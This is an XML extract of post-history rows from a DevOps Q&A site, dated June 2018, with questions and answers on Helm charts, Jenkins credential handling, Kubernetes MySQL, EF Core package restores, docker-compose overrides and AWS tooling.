  <row Id="13778" PostHistoryTypeId="2" PostId="4392" RevisionGUID="e119f57f-3c88-4ae8-9385-0c82694c9d9c" CreationDate="2018-06-27T08:18:29.697" UserId="8173" Text="The answer is that all Auto Dev-Ops deployments at present use [Helm][1] to package and deploy your application.&#xD;&#xA;&#xD;&#xA;In order to make changes to the deployment, such as adding a persistent volume claim, you should [download and modify the Helm chart that GitLab uses][2].&#xD;&#xA;&#xD;&#xA;The files in this repo should go into a new directory `chart/`, or you can link to another location by setting the `AUTO_DEVOPS_CHART` project variable to a URL.&#xD;&#xA;&#xD;&#xA;[This page][3] has more details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://helm.sh/&#xD;&#xA;  [2]: https://gitlab.com/charts/auto-deploy-app&#xD;&#xA;  [3]: https://docs.gitlab.com/ee/topics/autodevops/#custom-helm-chart" ContentLicense="CC BY-SA 4.0" />
  <row Id="13779" PostHistoryTypeId="50" PostId="4161" RevisionGUID="e17945f2-83cc-4dbe-a123-13556ae956e8" CreationDate="2018-06-27T08:32:43.903" UserId="-1" />
  <row Id="13780" PostHistoryTypeId="2" PostId="4393" RevisionGUID="1e752f95-00ed-45f6-a3e0-730a275cbbc2" CreationDate="2018-06-27T08:55:20.327" UserId="4853" Text="I have a global jenkins credential and a config script that includes the line&#xD;&#xA;&#xD;&#xA;    API_TOKEN = &quot;Token XXX&quot;&#xD;&#xA;&#xD;&#xA;For security reasons we can't keep the token in the script itself as its in version control. Is there a way to pass the jenkins credential to the python config script from jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13781" PostHistoryTypeId="1" PostId="4393" RevisionGUID="1e752f95-00ed-45f6-a3e0-730a275cbbc2" CreationDate="2018-06-27T08:55:20.327" UserId="4853" Text="Passing a jenkins credential (global) to a python script" ContentLicense="CC BY-SA 4.0" />
  <row Id="13782" PostHistoryTypeId="3" PostId="4393" RevisionGUID="1e752f95-00ed-45f6-a3e0-730a275cbbc2" CreationDate="2018-06-27T08:55:20.327" UserId="4853" Text="&lt;jenkins&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13783" PostHistoryTypeId="2" PostId="4394" RevisionGUID="f9b91832-4761-47b7-86a7-89bf21563fa5" CreationDate="2018-06-27T11:54:27.113" UserId="8418" Text="I am converting a webapp from monolithic to kubernetes based architecture.&#xD;&#xA;But how can mysql be persistent with data when we have 2 mysql pods in each of 2 differnet nodes?&#xD;&#xA;I think we can mount a volume but still if my server with the mounted volume fails, this will be a single point of failure.&#xD;&#xA;How can I avoid this?&#xD;&#xA;I want to acheive no single point of failure using kubernetes without cloud.&#xD;&#xA;How can I acheive this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13784" PostHistoryTypeId="1" PostId="4394" RevisionGUID="f9b91832-4761-47b7-86a7-89bf21563fa5" CreationDate="2018-06-27T11:54:27.113" UserId="8418" Text="Mysql with Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="13785" PostHistoryTypeId="3" PostId="4394" RevisionGUID="f9b91832-4761-47b7-86a7-89bf21563fa5" CreationDate="2018-06-27T11:54:27.113" UserId="8418" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;microservices&gt;&lt;mysql&gt;&lt;high-availability&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13786" PostHistoryTypeId="2" PostId="4395" RevisionGUID="7764e813-d4b1-4763-af28-3abf8eb8dd23" CreationDate="2018-06-27T13:38:51.323" UserId="8360" Text="# Temporary workaround&#xD;&#xA;Instead of calculating changes between builds compare changes against specific branch.&#xD;&#xA;&#xD;&#xA; 1. Open job configuration&#xD;&#xA; 2. Go to **Source Code Management** -&gt; **Git** -&gt; **Additional Behaviours**&#xD;&#xA; 3. Add **Calculate changelog against a specific branch**&#xD;&#xA; 4. Enter name of repository (origin in my case), and branch (master in my case)&#xD;&#xA;&#xD;&#xA;Now instead of showing only new changes, each build will show all commits in release branch that are different comparing to master." ContentLicense="CC BY-SA 4.0" />
  <row Id="13787" PostHistoryTypeId="2" PostId="4396" RevisionGUID="537128d7-5c52-4754-a930-3fda38066c93" CreationDate="2018-06-27T13:46:47.543" UserId="47" Text="Specifically for credentials, CloudBees recommends using the Credentials Plugins, which inject the credentials in the environment available to the invoked scripts. From [Injecting Secrets into Jenkins Build Jobs][1]:&#xD;&#xA;&#xD;&#xA;&gt; - [Credentials plugin][2] - provides a centralized way to define credentials that can be used by your Jenkins instance, plugins and&#xD;&#xA;&gt; build jobs.&#xD;&#xA;&gt; - [Credentials Binding plugin][3] - allows you to configure your build jobs to inject credentials as environment variables.&#xD;&#xA;&gt; - [Plain Credentials plugin][4] - a plugin dependency required by the Credentials Binding plugin.&#xD;&#xA;&#xD;&#xA;Inside your script you'd pick up the variable from the script's environment:&#xD;&#xA;&#xD;&#xA;    API_TOKEN = os.getenv('API_TOKEN')&#xD;&#xA;&#xD;&#xA;In a similar way you can pass any arbitrary variables (other than credentials), using the [EnvInject Plugin][5] (watch for the warnings, tho). See related:&#xD;&#xA;&#xD;&#xA;- [Jenkins inject environment variable][6]&#xD;&#xA;- [Environment variables in Jenkins][7]&#xD;&#xA;&#xD;&#xA;Another possible approach is to configure Jenkins to pass the value as an argument to your script. Inside your script you'd pick up the value using your preferred method of processing the script arguments.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://support.cloudbees.com/hc/en-us/articles/203802500-Injecting-Secrets-into-Jenkins-Build-Jobs&#xD;&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/Credentials+Plugin&#xD;&#xA;  [3]: https://wiki.jenkins-ci.org/display/JENKINS/Credentials+Binding+Plugin&#xD;&#xA;  [4]: https://wiki.jenkins-ci.org/display/JENKINS/Plain+Credentials+Plugin&#xD;&#xA;  [5]: https://wiki.jenkins.io/display/JENKINS/EnvInject+Plugin&#xD;&#xA;  [6]: https://stackoverflow.com/questions/31203816/jenkins-inject-environment-variable&#xD;&#xA;  [7]: https://stackoverflow.com/questions/21130931/environment-variables-in-jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="13788" PostHistoryTypeId="2" PostId="4397" RevisionGUID="8f65be59-96c1-4d73-b7c6-dae09468da75" CreationDate="2018-06-27T13:52:50.670" UserId="8535" Text="I have a project with `Asp.Net Core 2.1.1`, so I have to force the runtime to 2.1.1, when I added the `EF Core 2.1.1` packages (`SqlServer, Design and Tools`). Locally the project performs well, however in the process of Build in `VSTS` using the `Hosted VS2017` the build process fails, it does not restore the packages by dependency conflict. I installed the packages he asks for:&#xD;&#xA;&#xD;&#xA;`Microsoft.EntityFrameworkCore` After New Failure&#xD;&#xA;`Microsoft.EntityFrameworkCore.Abstractions` and then&#xD;&#xA;`Microsoft.EntityFrameworkCore.Analyzers` ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is the way? Go running and failing build a build until you discover all the packages that need to be placed as dependencies? Anyone have any tips to solve this another way?&#xD;&#xA;&#xD;&#xA;My build process is like the .net core of VSTS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is my .csproj file&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;&lt;Project Sdk=&quot;Microsoft.NET.Sdk.Web&quot;&gt;&#xD;&#xA;  &lt;PropertyGroup&gt;&#xD;&#xA;    &lt;TargetFramework&gt;netcoreapp2.1&lt;/TargetFramework&gt;&#xD;&#xA;    &lt;AutoGenerateBindingRedirects&gt;true&lt;/AutoGenerateBindingRedirects&gt;&#xD;&#xA;    &lt;RuntimeFrameworkVersion&gt;2.1.1&lt;/RuntimeFrameworkVersion&gt;&#xD;&#xA;  &lt;/PropertyGroup&gt;&#xD;&#xA;  &lt;ItemGroup&gt;&#xD;&#xA;    &lt;PackageReference Include=&quot;Microsoft.AspNetCore.App&quot; /&gt;&#xD;&#xA;    &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore&quot; Version=&quot;2.1.1&quot; /&gt;&#xD;&#xA;    &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore.Abstractions&quot; Version=&quot;2.1.1&quot; /&gt;&#xD;&#xA;    &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore.Analyzers&quot; Version=&quot;2.1.1&quot; /&gt;&#xD;&#xA;    &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore.Design&quot; Version=&quot;2.1.1&quot; /&gt;&#xD;&#xA;    &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore.SqlServer&quot; Version=&quot;2.1.1&quot; /&gt;&#xD;&#xA;    &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore.Tools&quot; Version=&quot;2.1.1&quot; /&gt;&#xD;&#xA;    &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore.Tools.DotNet&quot; Version=&quot;2.0.3&quot; /&gt;&#xD;&#xA;  &lt;/ItemGroup&gt;&#xD;&#xA;&lt;/Project&gt;&#xD;&#xA;`" ContentLicense="CC BY-SA 4.0" />
  <row Id="13789" PostHistoryTypeId="1" PostId="4397" RevisionGUID="8f65be59-96c1-4d73-b7c6-dae09468da75" CreationDate="2018-06-27T13:52:50.670" UserId="8535" Text="Problem Restore EF Core 2.1.1 in VSTS, Hosted VS2017" ContentLicense="CC BY-SA 4.0" />
  <row Id="13790" PostHistoryTypeId="3" PostId="4397" RevisionGUID="8f65be59-96c1-4d73-b7c6-dae09468da75" CreationDate="2018-06-27T13:52:50.670" UserId="8535" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;nuget&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13791" PostHistoryTypeId="5" PostId="4397" RevisionGUID="a45e7807-d594-4f14-b132-0f2f1ec10151" CreationDate="2018-06-27T13:57:37.517" UserId="47" Comment="improved formatting" Text="I have a project with `Asp.Net Core 2.1.1`, so I have to force the runtime to 2.1.1, when I added the `EF Core 2.1.1` packages (`SqlServer, Design and Tools`). Locally the project performs well, however in the process of Build in `VSTS` using the `Hosted VS2017` the build process fails, it does not restore the packages by dependency conflict. I installed the packages he asks for:&#xD;&#xA;&#xD;&#xA;`Microsoft.EntityFrameworkCore` After New Failure&#xD;&#xA;`Microsoft.EntityFrameworkCore.Abstractions` and then&#xD;&#xA;`Microsoft.EntityFrameworkCore.Analyzers` ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is the way? Go running and failing build a build until you discover all the packages that need to be placed as dependencies? Anyone have any tips to solve this another way?&#xD;&#xA;&#xD;&#xA;My build process is like the .net core of VSTS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is my .csproj file&#xD;&#xA;&#xD;&#xA;    &lt;Project Sdk=&quot;Microsoft.NET.Sdk.Web&quot;&gt;&#xD;&#xA;      &lt;PropertyGroup&gt;&#xD;&#xA;        &lt;TargetFramework&gt;netcoreapp2.1&lt;/TargetFramework&gt;&#xD;&#xA;        &lt;AutoGenerateBindingRedirects&gt;true&lt;/AutoGenerateBindingRedirects&gt;&#xD;&#xA;        &lt;RuntimeFrameworkVersion&gt;2.1.1&lt;/RuntimeFrameworkVersion&gt;&#xD;&#xA;      &lt;/PropertyGroup&gt;&#xD;&#xA;      &lt;ItemGroup&gt;&#xD;&#xA;        &lt;PackageReference Include=&quot;Microsoft.AspNetCore.App&quot; /&gt;&#xD;&#xA;        &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore&quot; Version=&quot;2.1.1&quot; /&gt;&#xD;&#xA;        &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore.Abstractions&quot; Version=&quot;2.1.1&quot; /&gt;&#xD;&#xA;        &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore.Analyzers&quot; Version=&quot;2.1.1&quot; /&gt;&#xD;&#xA;        &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore.Design&quot; Version=&quot;2.1.1&quot; /&gt;&#xD;&#xA;        &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore.SqlServer&quot; Version=&quot;2.1.1&quot; /&gt;&#xD;&#xA;        &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore.Tools&quot; Version=&quot;2.1.1&quot; /&gt;&#xD;&#xA;        &lt;PackageReference Include=&quot;Microsoft.EntityFrameworkCore.Tools.DotNet&quot; Version=&quot;2.0.3&quot; /&gt;&#xD;&#xA;      &lt;/ItemGroup&gt;&#xD;&#xA;    &lt;/Project&gt;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13792" PostHistoryTypeId="2" PostId="4398" RevisionGUID="c7d18c52-39ff-43ed-a9e2-b0b02d8f98d2" CreationDate="2018-06-27T15:37:52.967" UserId="8468" Text="Exactly this. In our environment, we're using GCE preemptible nodes and the Jenkins GCE plugin. As a consequence of this, it's highly likely (even expected) that a node will go away during the course of a build. The problem is, the Jenkins GCE plugin just marks that node as &quot;offline&quot;, but a parallel job &quot;part&quot; that was assigned an executor on that node will just keep churning away there, seemingly forever, apparently in the hope that the node will come back.&#xD;&#xA;&#xD;&#xA;The question I have, then, is simple:&#xD;&#xA;&#xD;&#xA;Is it possible to force Jenkins to reschedule (***NOT*** fail) a parallel build &quot;part&quot; as soon as the node it's executing on goes offline? If so, how is this done?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13793" PostHistoryTypeId="1" PostId="4398" RevisionGUID="c7d18c52-39ff-43ed-a9e2-b0b02d8f98d2" CreationDate="2018-06-27T15:37:52.967" UserId="8468" Text="Force Jenkins to reschedule parallel pipeline step as soon as node goes offline" ContentLicense="CC BY-SA 4.0" />
  <row Id="13794" PostHistoryTypeId="3" PostId="4398" RevisionGUID="c7d18c52-39ff-43ed-a9e2-b0b02d8f98d2" CreationDate="2018-06-27T15:37:52.967" UserId="8468" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13795" PostHistoryTypeId="2" PostId="4399" RevisionGUID="83eaa56f-04d8-4fcb-9bb0-8afe42ddc4bd" CreationDate="2018-06-27T16:08:35.993" UserId="4115" Text="If you are using Pipeline (i.e. Jenkinsfile), use [`withCredentials`](https://jenkins.io/doc/pipeline/steps/credentials-binding/).  To give a quick and dirty example:&#xD;&#xA;&#xD;&#xA;    withCredentials([[&#xD;&#xA;      $class: 'UsernamePasswordMultiBinding',&#xD;&#xA;      credentialsId: 'my-credentials',&#xD;&#xA;      usernameVariable: 'user',&#xD;&#xA;      passwordVariable: 'pw',&#xD;&#xA;    ]]) {&#xD;&#xA;      sh(&quot;./my-python-script.py --user ${user} --password ${pw}&quot;)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Your credentials will be automatically redacted from the console output to prevent sensitive information from leaking." ContentLicense="CC BY-SA 4.0" />
  <row Id="13796" PostHistoryTypeId="2" PostId="4400" RevisionGUID="ee986649-e0d2-485d-8e09-1179bfa48d4d" CreationDate="2018-06-27T16:35:42.250" UserId="8539" Text="I had a similar situation in which I wanted to nest other parallel jobs threads inside another parallel one. This code worked for me:&#xD;&#xA;&#xD;&#xA;    def performDeploymentStages(String node, String app) {&#xD;&#xA;        stage(&quot;build&quot;) {&#xD;&#xA;            echo &quot;Building the app [${app}] on node [${node}]&quot;&#xD;&#xA;        }&#xD;&#xA;        stage(&quot;deploy&quot;) {&#xD;&#xA;            echo &quot;Deploying the app ${app}] on node [${node}]&quot;&#xD;&#xA;        }&#xD;&#xA;        stage(&quot;test&quot;) {&#xD;&#xA;            echo &quot;Testing the app [${app}] on node [${node}]&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            label 'master'&#xD;&#xA;        }&#xD;&#xA;        parameters {&#xD;&#xA;            string(name: 'NODES', defaultValue: '1,2,3', description: 'Nodes to build, deploy and test')&#xD;&#xA;            choice(name: 'ENV', choices: 'qa', description: 'Environment')&#xD;&#xA;            string(name: 'APPS', defaultValue: 'app01,app02', description: 'App names')&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stages {&#xD;&#xA;            stage('parallel stage') {&#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;                        def nodes = [:]&#xD;&#xA;                        for (node in params.NODES.tokenize(',')) {&#xD;&#xA;                            def apps = [:]&#xD;&#xA;                            for (app in params.APPS.tokenize(',')) {&#xD;&#xA;                                performDeploymentStages(node, app)&#xD;&#xA;                            }&#xD;&#xA;                            parallel apps&#xD;&#xA;                        }&#xD;&#xA;                        parallel nodes&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;To fully benefit from parallel run remember to assign enough executors." ContentLicense="CC BY-SA 4.0" />
  <row Id="13798" PostHistoryTypeId="2" PostId="4402" RevisionGUID="8cb9cdfa-513d-427e-8a63-96f56aaa90ef" CreationDate="2018-06-28T05:01:10.070" UserId="210" Text="I would suggest to only run stateless apps in k8s. One should run statefull apps like databases in dedicated database solutions like AWS RDS." ContentLicense="CC BY-SA 4.0" />
  <row Id="13799" PostHistoryTypeId="2" PostId="4403" RevisionGUID="275daf90-148b-4f08-9216-6c8caba652dc" CreationDate="2018-06-28T05:04:44.057" UserId="210" Text="Only put a library in a separate repo when it is used in two different repos. If that is not the case then put the code in the same repo. Otherwise one could run into the anti-pattern nanoservices." ContentLicense="CC BY-SA 4.0" />
  <row Id="13800" PostHistoryTypeId="2" PostId="4404" RevisionGUID="e4ad6b2c-e217-416d-b473-5d414b060673" CreationDate="2018-06-28T07:48:33.267" UserId="8550" Text="[Here][1], I can read that it is possible to setup a CMake build on a Microsoft hosted vsts agent. What C++ package managers (e.g. Conan) are supported for these agents?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/vsts/pipelines/tasks/build/cmake?view=vsts" ContentLicense="CC BY-SA 4.0" />
  <row Id="13801" PostHistoryTypeId="1" PostId="4404" RevisionGUID="e4ad6b2c-e217-416d-b473-5d414b060673" CreationDate="2018-06-28T07:48:33.267" UserId="8550" Text="What package managers are supported on Microsoft hosted agents with CMake enabled?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13802" PostHistoryTypeId="3" PostId="4404" RevisionGUID="e4ad6b2c-e217-416d-b473-5d414b060673" CreationDate="2018-06-28T07:48:33.267" UserId="8550" Text="&lt;azure-devops&gt;&lt;dependency-management&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13803" PostHistoryTypeId="5" PostId="4404" RevisionGUID="e7c393b2-fff4-447b-a636-0f6d3ebd7f3f" CreationDate="2018-06-28T07:54:32.437" UserId="8550" Comment="added 127 characters in body" Text="[Here][1], I can read that it is possible to setup a CMake build on a Microsoft hosted vsts agent. What C++ package managers (e.g. Conan) are supported for these agents?&#xD;&#xA;&#xD;&#xA;It would be great if at least one of these package managers is supported: https://github.com/nlohmann/json#package-managers&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/vsts/pipelines/tasks/build/cmake?view=vsts" ContentLicense="CC BY-SA 4.0" />
  <row Id="13804" PostHistoryTypeId="5" PostId="4370" RevisionGUID="2bc44f95-5282-48bb-9b5d-dfc21750ca1f" CreationDate="2018-06-28T08:13:24.430" UserId="8489" Comment="Clarified last paragraph about the strategy for only having items in the base docker-compose.yml common across all environments." Text="**docker-compose.override.yml, docker-compose.prod.yml and `extend`**&#xD;&#xA;&#xD;&#xA;An outline answer would be to have a `docker-compose.yml` file for your common base configuration, a `docker-compose.prod.yml` for production-specific sets of containers and for other specific environments, `docker-compose.override.yml`. It is possible to use the docker-compose `extend` keyword/command/statement in a docker compose yml file to inherit from another docker compose yml file.&#xD;&#xA;&#xD;&#xA;The above approach is on the basis that one would first consider only the things common across all environments as the pure, base setup and then dev and prod environments would be based off of this (inherited). &#xD;&#xA;&#xD;&#xA;Your dev-specific packer setup could be configured in the `docker-compose.override.yml` file, which inherits from the base `docker-compose.yml`. Configuration that is common across all environments would reside in `docker-compose.yml`. Your production setup could be in `docker-compose.prod.yml`, which again can inherit from the base `docker-compose.yml`.&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA;This seems to be the best practice approach, based on the following references:&#xD;&#xA;&#xD;&#xA; - The inheritance/nesting approach is explored here: [Inheritance or&#xD;&#xA;   nesting with docker compose][1]&#xD;&#xA;   &#xD;&#xA; - The official documentation here - [Share Compose configurations&#xD;&#xA;   between files and projects][2] - describes the docker compose&#xD;&#xA;   `extend` keyword.&#xD;&#xA;&#xD;&#xA;**Some things you may or may not need to consider for your specific case**&#xD;&#xA;&#xD;&#xA; - There may or may not be some bespoke config code required in&#xD;&#xA;   _addition_ i.e. in your deployment itself, e.g. bash scripts etc., should the above approach provide most of what you need but not quite everything. These scripts can be run from docker compose.&#xD;&#xA;&#xD;&#xA; - Research what can be overridden when writing `docker-compose.override.yml`&#xD;&#xA;   when &quot;inheriting&quot; from `docker-compose.yml`. Your particular project may require a configuration in each of the dev and prod environments that override the same thing in the base environment, thus the need to override what is in the &quot;parent&quot;/base docker-compose.yml environment. Consider this issue: https://github.com/docker/compose/issues/3729 - which suggests there are limitations as to what can be overridden, particularly if you want to move a configuration item that was present in the parent `docker-compose.yml`. A better way could be to only have items common across all environments in `docker-compose.yml` and have the specifics in files for specific enviroments, such as `docker-compose.prod.yml`&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/33408118/inheritance-or-nesting-with-docker-compose&#xD;&#xA;  [2]: https://docs.docker.com/compose/extends/" ContentLicense="CC BY-SA 4.0" />
  <row Id="13805" PostHistoryTypeId="5" PostId="4351" RevisionGUID="5ecab463-6cfa-4240-9314-8f54e0b95959" CreationDate="2018-06-28T12:06:17.800" UserId="7953" Comment="deleted 1 character in body" Text="You should assign a specific port to any containers.   &#xD;&#xA;For this configuration you can use `docker-compose` file such as following example:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      TensorFlow-1:&#xD;&#xA;          image: gcr.io/tensorflow/tensorflow:latest-gpu&#xD;&#xA;          container_name: first-tensor&#xD;&#xA;          ports:&#xD;&#xA;            - &quot;9001:8888&quot;&#xD;&#xA;&#xD;&#xA;      TensorFlow-2:&#xD;&#xA;          image: gcr.io/tensorflow/tensorflow:latest-gpu&#xD;&#xA;          container_name: second-tensor&#xD;&#xA;          ports:&#xD;&#xA;            - &quot;9002:8888&quot;&#xD;&#xA;&#xD;&#xA;Then in the `docker-compose.yml` path, on command-line do it:   &#xD;&#xA;&#xD;&#xA;    sudo docker-compose up&#xD;&#xA;Or&#xD;&#xA;&#xD;&#xA;    sudo docker-compose up -d  &#xD;&#xA;&#xD;&#xA;**NOTE**: `-d` option is for run above command in the background.    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Finally you have two tensorflow containers with `9001` and `9002` ports.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13806" PostHistoryTypeId="2" PostId="4405" RevisionGUID="7721d253-ad36-4ebf-8535-63335e2aa029" CreationDate="2018-06-28T13:22:28.067" UserId="8555" Text="I also could not restore packages after upgrading to 2.1.1. I got multiple errors similar to this:&#xD;&#xA;&#xD;&#xA;    Detected package version outside of dependency constraint: Microsoft.AspNetCore.App 2.1.0 requires Microsoft.EntityFrameworkCore (= 2.1.0) but version Microsoft.EntityFrameworkCore 2.1.1 was resolved.&#xD;&#xA;&#xD;&#xA;I solved my problem by explicitly [specifying version 2.1.301][1] in the build definition.&#xD;&#xA;&#xD;&#xA;  [1]: https://cmatskas.com/working-with-the-latest-net-core-version-in-vsts/" ContentLicense="CC BY-SA 4.0" />
  <row Id="13808" PostHistoryTypeId="2" PostId="4406" RevisionGUID="22ca7bbd-fd6c-4ef3-81f4-2a050d508f63" CreationDate="2018-06-28T14:42:50.757" UserId="323" Text="I work for a managed services company and am working out a plan to retrofit our customer support machines to support AWS in a general way.  &#xD;&#xA;&#xD;&#xA;We use Ansible and lots of ssh port forwarding to connect to traditional, non-cloud, boxes (Windows, Linux, AIX, Firewalls, routers, UC, other Cisco stuff).  &#xD;&#xA;&#xD;&#xA;Beyond the AWS CLI, what tools should I deploy to my Linux and Windows support boxes for managing, monitoring and troubleshooting AWS that are different than the traditional tools? " ContentLicense="CC BY-SA 4.0" />
  <row Id="13809" PostHistoryTypeId="1" PostId="4406" RevisionGUID="22ca7bbd-fd6c-4ef3-81f4-2a050d508f63" CreationDate="2018-06-28T14:42:50.757" UserId="323" Text="Tools to support AWS" ContentLicense="CC BY-SA 4.0" />
  <row Id="13810" PostHistoryTypeId="3" PostId="4406" RevisionGUID="22ca7bbd-fd6c-4ef3-81f4-2a050d508f63" CreationDate="2018-06-28T14:42:50.757" UserId="323" Text="&lt;amazon-web-services&gt;&lt;toolchain&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13811" PostHistoryTypeId="4" PostId="4406" RevisionGUID="a73fdbf0-8dd3-410a-8d56-2835c1705cab" CreationDate="2018-06-28T15:20:00.280" UserId="323" Comment="edited title" Text="What tools should I deploy to support AWS for a Managed Services company?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13812" PostHistoryTypeId="2" PostId="4407" RevisionGUID="b04a2a58-a2d5-461c-ab3d-e98d3cc7f95a" CreationDate="2018-06-28T15:31:25.467" UserId="13" Text="Installing a box is probably not the best solution, mostly because there's no real need for it.&#xD;&#xA;&#xD;&#xA;You should ask for an access to AWS console in customer account with proper rights fitting your responsibilities and maybe setup [AWS config](https://aws.amazon.com/config/), [Cloudwatch](https://aws.amazon.com/cloudwatch/) for the monitoring and alerting part, [Cloudtrail](https://aws.amazon.com/cloudtrail/) and maybe [Amazon Inspector](https://aws.amazon.com/inspector/) for the audit part.&#xD;&#xA;&#xD;&#xA;To ensure machines and AWS services themselves are properly configured you may rely on AWS Config/Amazon Inspector or tools like [inspec](https://www.inspec.io/docs/reference/platforms/) (and here you may or may not need a bastion host on your customer VPC to check other machines, this mostly depends on the agreement you have with customer about direct links/VPN)" ContentLicense="CC BY-SA 4.0" />
  <row Id="13813" PostHistoryTypeId="50" PostId="3419" RevisionGUID="d76719cf-7f9f-473d-af6a-314e55b7787c" CreationDate="2018-06-28T15:33:37.783" UserId="-1" />
  <row Id="13814" PostHistoryTypeId="2" PostId="4408" RevisionGUID="f37112c5-20a5-4ae8-8722-83de87d26ac9" CreationDate="2018-06-28T15:40:10.800" UserId="8543" Text="@Pierre.Vriens, wrt your ask about “investigate the feasibility of managing data stored in personal files (PDSes, i.e. partitioned data sets) on the mainframe.”, you can use zOS Management Facility (zOSMF) which comes with the z/OS operating system to access APIs for that. In Sujay's reply, he suggests using Brightside and that tool taps into the zOSMF APIs to simplify that task. So then if you want to tie Jenkins to the Mainframe to manage Partitioned Data Sets (PDS) and Data Sets (PS), you can use these zOSMF APIs or you could use [Brightside][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docops.ca.com/ca-brightside-community-edition/1-0/en" ContentLicense="CC BY-SA 4.0" />
  <row Id="13815" PostHistoryTypeId="5" PostId="4408" RevisionGUID="e70d6664-54ac-4ce5-a9e5-59c794609c10" CreationDate="2018-06-28T16:01:17.877" UserId="8543" Comment="added 100 characters in body" Text="@Pierre.Vriens, wrt your ask about “investigate the feasibility of managing data stored in personal files (PDSes, i.e. partitioned data sets) on the mainframe.”, you can use zOS Management Facility (zOSMF) which comes with the z/OS operating system to access APIs for that. In Sujay's reply, he suggests using Brightside and that tool taps into the zOSMF APIs to simplify that task. So then if you want to tie Jenkins to the Mainframe to manage Partitioned Data Sets (PDS) and Data Sets (PS), you can use these zOSMF APIs or you could use [Brightside][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docops.ca.com/ca-brightside-community-edition/1-0/en&#xD;&#xA;&#xD;&#xA;In the spirit of disclosure, I work as a UX Designer for CA Technologies who builds Brightside. " ContentLicense="CC BY-SA 4.0" />
  <row Id="13816" PostHistoryTypeId="2" PostId="4409" RevisionGUID="a8bc3cd7-04c4-497a-91ba-e83bbd996392" CreationDate="2018-06-28T16:21:31.577" UserDisplayName="user8558" Text="I have multiple frontend servers churning out the HTML pages , behind a load balancer.&#xD;&#xA;&#xD;&#xA;Just wondering what is the best practice to update the frontend app while users are surfing the site.&#xD;&#xA;&#xD;&#xA;The objectives:&#xD;&#xA;&#xD;&#xA;1. ensure each user see either the new or old version, but not flip between both. &#xD;&#xA;2. ensure load is still evenly distributed amongst servers that are not being updated.&#xD;&#xA;3. no disruption to service.&#xD;&#xA;&#xD;&#xA;My thoughts:&#xD;&#xA;&#xD;&#xA;1. Divide the servers into groups. &#xD;&#xA;2. Take out a group from load balancing and wait for it to finish off current requests. &#xD;&#xA;3. Update the app and OS, etc.&#xD;&#xA;4. put the group back to load balancing. &#xD;&#xA;5. Pick another group and repeat steps 2-5.&#xD;&#xA;&#xD;&#xA;While in process, some servers will have the new version, so to ensure users do not flip between the old and new ones, do I enable sticky session?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13817" PostHistoryTypeId="1" PostId="4409" RevisionGUID="a8bc3cd7-04c4-497a-91ba-e83bbd996392" CreationDate="2018-06-28T16:21:31.577" UserDisplayName="user8558" Text="How to update frontend servers behind a load balancer" ContentLicense="CC BY-SA 4.0" />
  <row Id="13818" PostHistoryTypeId="3" PostId="4409" RevisionGUID="a8bc3cd7-04c4-497a-91ba-e83bbd996392" CreationDate="2018-06-28T16:21:31.577" UserDisplayName="user8558" Text="&lt;deployment&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 4.0" />
